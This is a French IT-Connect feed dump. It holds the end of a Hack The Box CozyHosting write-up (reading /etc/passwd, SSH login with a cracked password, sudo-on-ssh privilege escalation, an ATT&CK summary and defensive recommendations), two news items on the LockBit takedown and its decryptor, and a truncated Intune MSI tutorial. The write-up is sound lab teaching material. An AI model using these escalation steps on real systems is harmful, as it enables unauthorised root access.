<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener" title="">T1021.004 - Remote Services: SSH</a></p>



<p>Étant donné que nous avons un accès au serveur, nous pouvons accéder en lecture au fichier "<strong>/etc/passwd</strong>", ce qui nous permettra d'avoir une liste d'utilisateur sur lequel tester notre mot de passe :</p>



<pre class="wp-block-code"><code>app@cozyhosting:/app$ cat /etc/passwd |tail -n 4
cat /etc/passwd |tail -n 4
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false</code></pre>



<p>Le mot de passe découvert peut être utilisé pour se connecter en SSH avec le compte de l'utilisateur "<strong>josh</strong>" :</p>



<pre class="wp-block-code"><code>$ ssh josh@10.10.11.230
josh@cozyhosting:~$ cat user.txt 
7d7&#91;REDACTED]ca5d3c56</code></pre>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1548/003/" target="_blank" rel="noopener" title="">T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching</a></p>



<p>Nous pouvons maintenant, entre autres, lister les dérogations d'exécution via sudo accordées à cet utilisateur :</p>



<pre class="wp-block-code"><code>josh@cozyhosting:~$ sudo -l
&#91;sudo] password for josh: 
    (root) /usr/bin/ssh *</code></pre>



<p>Intéressant, cet utilisateur peut exécuter la commande SSH en tant que root. Nous pouvons utiliser la ressource <strong>gtfobins.sh</strong> pour connaitre les éventuels abus existant sur cette commande : <a href="https://gtfobins.github.io/gtfobins/ssh/#sudo" target="_blank" rel="noopener" title="">https://gtfobins.github.io/gtfobins/ssh/#sudo</a></p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="218" src="media/9c11cdaf.image-800x218.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image-800x218.png" alt="" class="wp-image-74331" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image-800x218.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image-550x150.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image-150x41.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image-768x210.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image-50x14.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/image.png 810w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous pouvons visiblement utiliser l'option "<strong>Proxycommand</strong>" pour exécuter une commande en tant que <strong>root</strong>. L'option <strong>ProxyCommand</strong> dans la commande SSH permet de spécifier une commande qui sera utilisée pour établir une connexion à un hôte distant. Elle est utile pour traverser un proxy/rebond avant d'atteindre la destination finale. Ici, nous utiliserons l'option pour avoir un shell interactif, encore une fois grâce à un chainage de commande :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="549" height="99" src="media/f1841dfd.hackthebox-writeup-cozyhosting-website-sudo-ssh.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-sudo-ssh.png" alt="" class="wp-image-74332" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-sudo-ssh.png 549w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-sudo-ssh-150x27.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-sudo-ssh-50x9.png 50w" sizes="(max-width: 549px) 100vw, 549px" /></figure></div>


<p>Une fois de plus, nous parvenons à <strong>abuser de la dérogation de droit sudo pour exécuter autre chose que la commande autorisée</strong>. Cela nous permet d'obtenir les droits root sur le serveur.</p>



<h2 class="wp-block-heading">III. Résumé de l'attaque</h2>



<p>Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du <a href="https://attack.mitre.org/">framework MITRE ATT&amp;CK</a> :</p>



<figure class="wp-block-table"><table><tbody><tr><td><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>TTP</strong> (MITRE ATT&amp;CK)</mark></td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noreferrer noopener">T1046 - Network Service Discovery</a></td><td>Découverte des services exposés avec uns can réseau via <strong>nmap</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1595/" target="_blank" rel="noopener" title="">T1595 - Active Scanning:&nbsp;Vulnerability Scanning</a></td><td>Utilisation de <strong>nuclei</strong> et découverte des points d'entrée <strong>SpringBoot Actuator</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener" title="">T1190 - Exploit Public-Facing Application</a></td><td>Vol de session de l'application via <strong>Actuator</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1059/004/" target="_blank" rel="noopener" title="">T1059.004 - Command and Scripting Interpreter:&nbsp;Unix Shell</a></td><td>Exploitation d'une RCE dans la fonctionnalité "<strong>/executessh</strong>" de l'espace authentifié du site vitrine et obtention d'un revershell</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1048/003/" target="_blank" rel="noopener" title="">T1048.003 - Exfiltration Over Alternative Protocol:&nbsp;Exfiltration Over Unencrypted Non-C2 Protocol</a></td><td>Exfiltration de l'archive "<strong>.jar</strong>" du site vitrine via HTTP</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1552/001/" target="_blank" rel="noopener" title="">T1552.001 - Unsecured Credentials: Credentials In Files</a></td><td>Découverte d'identifiants de bases de données <code>postgreSQL</code> dans l'archive "<strong>.jar</strong>"</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1078/003/" target="_blank" rel="noopener" title="">T1078.003 - Valid Accounts: Local Accounts</a></td><td>Authentification sur le service <strong>PostgreSQL</strong> local du système cible</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1005/" target="_blank" rel="noopener" title="">T1005 - Data from Local System</a></td><td>Récupération des hashs des mots de passe des utilisateurs de l'application web en base de données</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1110/002/" target="_blank" rel="noopener" title="">T1110.002 - Brute Force: Password Cracking</a></td><td>Cassage des hashs découverts avec <strong>John The Ripper</strong>, obtention des identifiants de l'utilisateur "<strong>admin</strong>"</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener" title="">T1021.004 - Remote Services: SSH</a><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener" title=""></a></td><td>Authentification SSH avec l'utilisateur "<strong>josh</strong>"</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1548/003/" target="_blank" rel="noopener" title="">T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching</a></td><td>Abus de la dérogation de droits <code>sudo</code> accordée à l'utilisateur <strong>josh</strong> sur la commande SSH.</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IV. Notions abordées</h2>



<h3 class="wp-block-heading">A. Côté attaquant</h3>



<p>L'utilisation de <strong>nuclei nous a fait gagner un temps certains</strong> ici. Bien qu'il ne soit pas du tout recommandé de baser notre analyse et nos tests uniquement sur ce genre d'outils automatisés, <strong>il faut savoir en tirer parti, car ils présentent certains avantages</strong>. Notamment, ils peuvent rapidement tester des éléments très spécifiques autour d'une CVE (même ancienne) ou d'une mauvaise configuration. Ils peuvent aussi passer à côté de vulnérabilité très basiques qui dépendent plus du contexte applicatif. Il faut donc<strong> utiliser ces outils intelligemment..</strong>.</p>



<p>Nous avons également vu dans cet exercice la<strong> dangerosité des vulnérabilités de type RCE</strong> (<em>Remote Command Execution</em>) et un <strong>exemple scolaire d'exploitation</strong> de celle-ci. Si l'on s'intéresse au code applicatif ayant mené à cette vulnérabilité (car nous avons l'archive "<strong>.jar</strong>" à présent), nous pouvons retrouver le code suivant :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="449" src="media/6dd574f3.hackthebox-writeup-cozyhosting-website-RCE-kava-800x449.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava-800x449.png" alt="" class="wp-image-74358" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava-800x449.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava-550x309.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava-150x84.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava-768x431.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-cozyhosting-website-RCE-kava.png 1025w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous voyons ici l'utilisation de "<strong>Runtime.getRuntime().exec()</strong>" pour <strong>exécuter des commandes système en Java</strong>. Également, on remarque les fonctions "<strong>validateUserName</strong>", qui vérifie simplement la présence d'un espace, et "<strong>validateHost</strong>", qui repose sur une expression régulière et un <em>pattern</em> plus complexe (je n'ai pas précisément étudié le <em>pattern</em>), ce qui correspond à nos observations "boite noire" (sans le code sous les yeux).</p>



<h3 class="wp-block-heading">B. Côté défenseur</h3>



<p>Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :</p>



<p><strong>Recommandation n°1 :</strong> la première recommandation est bien sûr de rendre inaccessible le point d'entrée "<strong>Actuator</strong>" aux visiteurs non authentifiés. Ce genre d'information ne doit être visibles qu'aux développeurs. Si celles-ci ne sont pas activement utilisées, il est recommandé de désactiver "<strong>Springboot Actuator</strong>" sur les environnements en production.</p>



<p><strong>Recommandation n°2 :</strong> il est recommandé de <strong>renforcer la sécurité applicative</strong>, et notamment le <strong>contrôle des entrées utilisateurs</strong> sur la fonctionnalité "<strong>/executessh</strong>". La fonction "<strong>validateUsername</strong>" doit vérifier l'absence de tout caractère spécial susceptible de causer des erreurs ou d'être utilisés pour du chainage et de la substitution de commande. Des ressources de l'OWASP peuvent ici être mises en référence (<a href="https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html" target="_blank" rel="noopener" title="OS Command Injection Defense Cheat Sheet">OS Command Injection Defense Cheat Sheet</a>, <a href="https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection" target="_blank" rel="noopener" title="OWASP Testing Guide v4.2 - Testing for Command Injection">OWASP Testing Guide v4.2 - Testing for Command Injection</a>). Pour prendre un peu de recul, la<strong> mise en place d'un pare-feu applicatif</strong> (WAF ou <em>Web Application Firewall</em>) peut également être recommandée. Celui-ci, s'il est bien configuré, permettra de freiner la démarche de l'attaquant sur les exploitations basiques telles qu'observées ici, voire de lever l'alerte auprès des équipes de sécurité.</p>



<p><strong>Recommandation n°3 </strong>: la troisième recommandation porte encore une fois sur "<strong>sudo</strong>". Si non justifiée par un besoin métier, il est recommandé <strong>de supprimer la dérogation </strong>"<strong>sudo</strong>"<strong> en place, ca</strong>r la commande concernée peut être utilisée pour exécuter d'autres commandes avec les droits "<strong>root</strong>". Si elle est justifiée par un besoin métier, il peut être recommandé de passer un script ou un binaire (non modifiable bien entendu) qui restreindra l'utilisation des options de la commande SSH, voir contiendra uniquement quelques commandes pré-enregistrées. L'essentiel est de <strong>réduire la marge de manœuvre de l'utilisateur sur l'utilisation de la commande SSH</strong>. Le chapitre "<strong>6.3 Contrôle d'accès</strong>" du guide <a href="https://cyber.gouv.fr/publications/recommandations-de-securite-relatives-un-systeme-gnulinux" target="_blank" rel="noopener" title="Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI">Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI</a> contient un ensemble de bonnes pratiques autour de la configuration sudo.</p>



<p><em>J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur <a href="https://discord.com/invite/KMWN7TUQfm">notre Discord</a>!</em></p>



<p>Enfin, <strong>si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité</strong>, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noreferrer noopener">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-cozyhosting/">Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76538
title: Ransomware : une opération internationale met à l’arrêt les serveurs de LockBit !
uri: Ransomware-une-opération-internationale-met-à-l-arrêt-les-serve
url: https://www.it-connect.fr/ransomware-operation-internationale-serveurs-lockbit/
content:
<p><strong>Nous ne sommes qu'au mois de février, et pourtant, il pourrait déjà s'agir du coup de l'année sur la scène de la cybersécurité ! Les autorités sont parvenues à mettre hors ligne le site de LockBit, qui est probablement le gang de cybercriminels le plus actif depuis plusieurs années. Faisons le point sur cette intervention !</strong></p>



<p>Depuis le 19 février 2024, le <strong>site du gang de ransomware LockBit a été mis hors ligne </strong>! Il était utilisé par les pirates comme vitrine puisqu'il servait à <strong>publier les noms des victimes</strong>, mais également les montants des rançons et les données volées dans le cadre des attaques. </p>



<p>Désormais, le site de LockBit ressemble à ceci :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="541" src="media/3c5e4a1b.Site-LockBit-hors-ligne-fevrier-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Site-LockBit-hors-ligne-fevrier-2024.jpg" alt="Site LockBit hors ligne février 2024" class="wp-image-76543" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Site-LockBit-hors-ligne-fevrier-2024.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Site-LockBit-hors-ligne-fevrier-2024-550x372.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Site-LockBit-hors-ligne-fevrier-2024-150x101.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Site-LockBit-hors-ligne-fevrier-2024-768x519.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Site-LockBit-hors-ligne-fevrier-2024-50x34.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : BleepingComputer</figcaption></figure>



<p>La <strong>National Crime Agency du Royaume-Uni </strong>s'est exprimée sur le sujet : "<em>La NCA peut confirmer que les services de LockBit ont été interrompus à la suite d'une action internationale. Il s'agit d'une opération en cours et en développement.</em>"</p>



<p>En effet, les<strong> forces de l'ordre et organismes de 11 pays</strong> sont à l'origine de cette opération, nommée officiellement l'opération Cronos et menée à l'internationale. En effet, <strong>la France a participé par l'intermédiaire de la Gendarmerie Nationale</strong>, mais elle n'était pas seule puisque <strong>le FBI était aussi de la partie</strong>, accompagné par l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.</p>



<p>D'après le membre LockBitSupp, qui serait à la tête de LockBit et qui s'est exprimé par l'intermédiaire du service de messagerie Tox, <strong>le FBI est parvenu à accéder aux serveurs de LockBit à l'aide d'un exploit PHP</strong>. Les forces de l'ordre sont également parvenues à mettre hors ligne l'interface dédiée aux affiliés de LockBit. <strong>Un message indique que le code source de LockBit a pu être saisi</strong> (celui du ransomware ?), ainsi que<strong> des conversations</strong> et <strong>des informations sur les victimes</strong>.</p>



<p>Pour rappel, le gang de ransomware LockBit est à l'origine de plusieurs grandes cyberattaques, y compris en France :</p>



<ul>
<li><a href="https://www.it-connect.fr/cyberattaque-le-centre-hospitalier-de-corbeil-essonnes-victime-dun-ransomware/" target="_blank" rel="noopener" title="Cyberattaque : le Centre hospitalier de Corbeil-Essonnes victime d’un ransomware !">Cyberattaque de l'Hôpital de Corbeil-Essonnes</a></li>



<li><a href="https://www.it-connect.fr/la-poste-mobile-victime-du-ransomware-lockbit-3-0/" target="_blank" rel="noopener" title="">Cyberattaque de La Poste Mobile</a></li>



<li><a href="https://www.it-connect.fr/les-pirates-de-lockbit-3-0-revendiquent-une-cyberattaque-contre-thales/" target="_blank" rel="noopener" title="">Cyberattaque de Thales</a></li>



<li><a href="https://www.it-connect.fr/piratage-de-voyageurs-du-monde-les-pirates-detiendraient-plus-de-10-000-passeports/" target="_blank" rel="noopener" title="">Cyberattaque Les voyageurs du monde</a></li>



<li>Etc...</li>
</ul>



<p>Reste à savoir <strong>quel sera l'impact réel de cette opération sur les activités malveillantes menées par le gang de cybercriminels LockBit</strong>. N'oublions pas que LockBit est une véritable organisation criminelle, très bien organisée, avec des processus clairs, etc... </p>



<p>Les autorités devraient s'exprimer prochainement sur le sujet. <strong>Nous pouvons les féliciter pour cet excellent travail effectué dans la lutte contre le cybercrime !</strong></p>



<p><a href="https://www.bleepingcomputer.com/news/security/lockbit-ransomware-disrupted-by-global-police-operation/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/ransomware-operation-internationale-serveurs-lockbit/">Ransomware : une opération internationale met à l’arrêt les serveurs de LockBit !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76560
title: Opération Cronos – Ransomware LockBit 3.0 : un outil de déchiffrement est disponible !
uri: Opération-Cronos-Ransomware-LockBit-3-0-un-outil-de-déchiffrem
url: https://www.it-connect.fr/ransomware-lockbit-3-0-outil-de-dechiffrement-gratuit/
content:
<p><strong>L'énorme coup réalisé par les forces de l'ordre dans le cadre de l'opération Cronos se confirme : les clés de déchiffrement pour le ransomware LockBit sont entre les mains des autorités, ce qui va permettre de déchiffrer les données gratuitement !</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/ransomware-operation-internationale-serveurs-lockbit/" target="_blank" rel="noopener" title="Ransomware : une opération internationale met à l’arrêt les serveurs de LockBit !">Ransomware : une opération internationale met à l’arrêt les serveurs de LockBit !</a></li>
</ul>



<p>L'opération Cronos est véritablement un coup d'arrêt pour le gang de cybercriminels LockBit. Au-delà d'être parvenu à arrêter les serveurs associés au site vitrine des malfaiteurs, les autorités sont parvenues à récupérer le code source du ransomware LockBit. Cette information a été confirmée par la National Crime Agency (NCA) du Royaume-Uni.</p>



<p>Comme on pouvait s'y attendre, d'autres détails sur cette intervention commencent à être diffusés. Tout d'abord, il faut savoir que<strong> les autorités ont pu arrêter 2 membres de LockBit en Pologne et en Ukraine</strong>. À cela s'ajoutent le<strong> gel de 200 comptes de crypto-monnaie</strong> liés au groupe de cybercriminels. </p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="450" src="media/c728808e.Europol-Arret-ransomware-LockBit-Fevrier-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Europol-Arret-ransomware-LockBit-Fevrier-2024.jpg" alt="Europol - Arrêt ransomware LockBit - Février 2024" class="wp-image-76564" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Europol-Arret-ransomware-LockBit-Fevrier-2024.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Europol-Arret-ransomware-LockBit-Fevrier-2024-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Europol-Arret-ransomware-LockBit-Fevrier-2024-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Europol-Arret-ransomware-LockBit-Fevrier-2024-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Europol-Arret-ransomware-LockBit-Fevrier-2024-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">Un outil de déchiffrement est disponible !</h2>



<p>Les autorités ont pu <strong>arrêter 34 serveurs utilisés par le gang de ransomware LockBit</strong>, sur lesquels ils sont parvenus à obtenir <strong>plus de 1 000 clés de déchiffrement</strong> ! Il s'agit d'une information capitale ! En effet, les autorités sont parvenues à <strong>créer un outil de déchiffrement pour LockBit 3.0</strong> !</p>



<p>Le <a href="https://www.europol.europa.eu/media-press/newsroom/news/law-enforcement-disrupt-worlds-biggest-ransomware-operation" target="_blank" rel="noopener nofollow" title="">rapport mis en ligne par Europol </a>précise : "<em>Avec le soutien d'Europol, la police japonaise, la National Crime Agency et le Federal Bureau of Investigation ont concentré leur expertise technique pour développer des outils de déchiffrement destinés à récupérer les fichiers chiffrés par le ransomware LockBit</em>".</p>



<p>Cet outil de déchiffrement pour LockBit 3.0 est disponible sur le <a href="https://www.nomoreransom.org/en/decryption-tools.html" target="_blank" rel="noopener nofollow" title="">site "<strong>No More Ransom</strong>"</a> ! Il doit permettre la récupération des données chiffrées par le ransomware LockBit 3.0 sans avoir à payer la rançon ! D'après un <a href="https://www.eurojust.europa.eu/news/eurojust-supports-international-operation-against-worlds-largest-ransomware-group" target="_blank" rel="noopener nofollow" title="">rapport d'Eurojust</a> : "<em>Les attaques de LockBit auraient touché plus de 2 500 victimes dans le monde entier.</em>"</p>



<p><strong>Un énorme bravo aux forces de l'ordre ! </strong></p>



<p><a href="https://thehackernews.com/2024/02/lockbit-ransomware-operation-shut-down.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/ransomware-lockbit-3-0-outil-de-dechiffrement-gratuit/">Opération Cronos – Ransomware LockBit 3.0 : un outil de déchiffrement est disponible !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76171
title: Intune – Comment déployer une application au format MSI ?
uri: Intune-Comment-déployer-une-application-au-format-MSI
url: https://www.it-connect.fr/intune-comment-deployer-une-application-au-format-msi/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à déployer une application au format MSI sur des appareils Windows 10 ou Windows 11, à l'aide de la solution Intune. </strong>Le format MSI est très apprécié par les administrateurs systèmes, car il permet de faciliter l'installation silencieuse des applications, contrairement au format EXE. </p>



<p>Sur les appareils Windows, Intune est capable de déployer des applications de différents types, notamment celles au format MSI par l'intermédiaire de ce qui est appelé les<strong> Applications métiers</strong>, <strong>Line-of-business app</strong> ou encore <strong>LOB app</strong>. </p>



<p>Pour être plus précis, la fonction de déploiement d'une application métier sur les appareils Windows proposée par Intune prend en charge les formats de fichiers suivants : <strong>.msi, .appx, .appxbundle, .msix et .msixbundle</strong>. Ceci pourra être utile pour les entreprises qui font eux-mêmes le packaging de certaines applications.</p>



<ul>
<li><a href="https://youtu.be/ArSjgJkWWWM" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a> (Démo avec Google Chrome)</li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/ArSjgJkWWWM" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<ul>
<li><a href="https://www.it-connect.fr/intune-comment-deployer-une-application-au-format-exe/" target="_blank" rel="noopener nofollow" title="">Comment déployer une application Win32 avec Intune ?</a></li>
</ul>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: vous pouvez également utiliser la méthode "<strong>Application Win32</strong>" pour créer un package intunewin qui contient un package MSI. Ceci permet d'avoir plus de souplesse, notamment pour s'appuyer sur un script de détection.</p>
</blockquote>



<h2 class="wp-block-heading">II. Télécharger les sources de l'application (7-Zip)</h2>



<p><strong>Pour cette démonstration, nous allons voir comment déployer l'application 7-Zip sur Windows à l'aide d'Intune.</strong> Vous pouvez utiliser une autre application telle que <strong>Google Chrome</strong>, via cette méthode. Si vous décidez de déployer Mozilla Firefox, utilisez plutôt la méthode "Application Win32", car avec cette méthode, il y a un problème de détection de la version.</p>



<p>Vous pourrez trouver le package MSI sur cette page :</p>



<ul>
<li><a href="https://www.7-zip.org/download.html" target="_blank" rel="noopener nofollow" title="">Télécharger 7-Zip</a></li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="218" src="media/313aeec3.Telecharger-package-MSI-de-7-Zip.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Telecharger-package-MSI-de-7-Zip.jpg" alt="" class="wp-image-76213" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Telecharger-package-MSI-de-7-Zip.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Telecharger-package-MSI-de-7-Zip-550x150.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Telecharger-package-MSI-de-7-Zip-150x41.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Telecharger-package-MSI-de-7-Zip-768x209.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Telecharger-package-MSI-de-7-Zip-50x14.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, nous devons identifier le nom du commutateur permettant d'effectuer l'installation silencieuse. Avec un package MSI, en règle général, il s'agit de l'un de ces commutateurs :</p>



<pre class="wp-block-code"><code>&lt;nom du package&gt;.msi<strong> /quiet</strong>
&lt;nom du package&gt;.msi<strong> /silent</strong>
&lt;nom du package&gt;.msi<strong> /S</strong>
&lt;nom du package&gt;.msi<strong> /q</strong></code></pre>



<p>Dans le cas présent, la bonne valeur est "<strong>/quiet</strong>" comme le montre l'aide associée à ce package MSI. Sinon, une recherche sur Internet, notamment sur le site de l'éditeur, peut permettre d'obtenir la bonne valeur.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="622" src="media/7605e01b.7-Zip-installation-silencieuse.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-installation-silencieuse.png" alt="7-Zip installation silencieuse" class="wp-image-76214" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-installation-silencieuse.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-installation-silencieuse-550x428.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-installation-silencieuse-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-installation-silencieuse-768x597.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-installation-silencieuse-50x39.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Désormais, nous allons pouvoir passer sur le portail Intune.</p>



<h2 class="wp-block-heading">III. Créer une application métier dans Intune</h2>



<p>Connectez-vous le portail d'administration d'Intune et créez une nouvelle application métier :</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



<h3 class="wp-block-heading">A. Sélectionner le package MSI</h3>



<p>Une fois connecté au portail Intune, naviguez sur l'interface de cette façon :</p>



<p><strong>1</strong> - Cliquez sur "<strong>Applications</strong>", puis "<strong>Windows</strong>".</p>



<p><strong>2</strong> - Cliquez sur le bouton "<strong>Ajouter</strong>".</p>



<p><strong>3</strong> - Un panneau latéral s'ouvre. Choisissez "<strong>Application métier</strong>" comme type d'application.</p>



<p><strong>4 </strong>- Cliquez sur "<strong>Sélectionner</strong>".</p>



<figure class="wp-block-image size-large"><a href="media/007e51c5.Intune-Application-MSI-Etape-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1.png"><img decoding="async" width="800" height="380" src="media/a77e258b.Intune-Application-MSI-Etape-1-800x380.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1-800x380.png" alt="Intune - Application MSI - Etape 1" class="wp-image-76186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1-800x380.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1-550x261.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1-768x365.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-1.png 1367w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>À l'étape suivante :</p>



<p><strong>1</strong> - Cliquez sur le lien "<strong>Sélectionner un fichier de package d'application</strong>".</p>



<p><strong>2</strong> - Chargez le package MSI de 7-Zip, ou d'une autre application selon vos besoins.</p>



<p><strong>3</strong> - Cliquez sur "<strong>OK</strong>".</p>



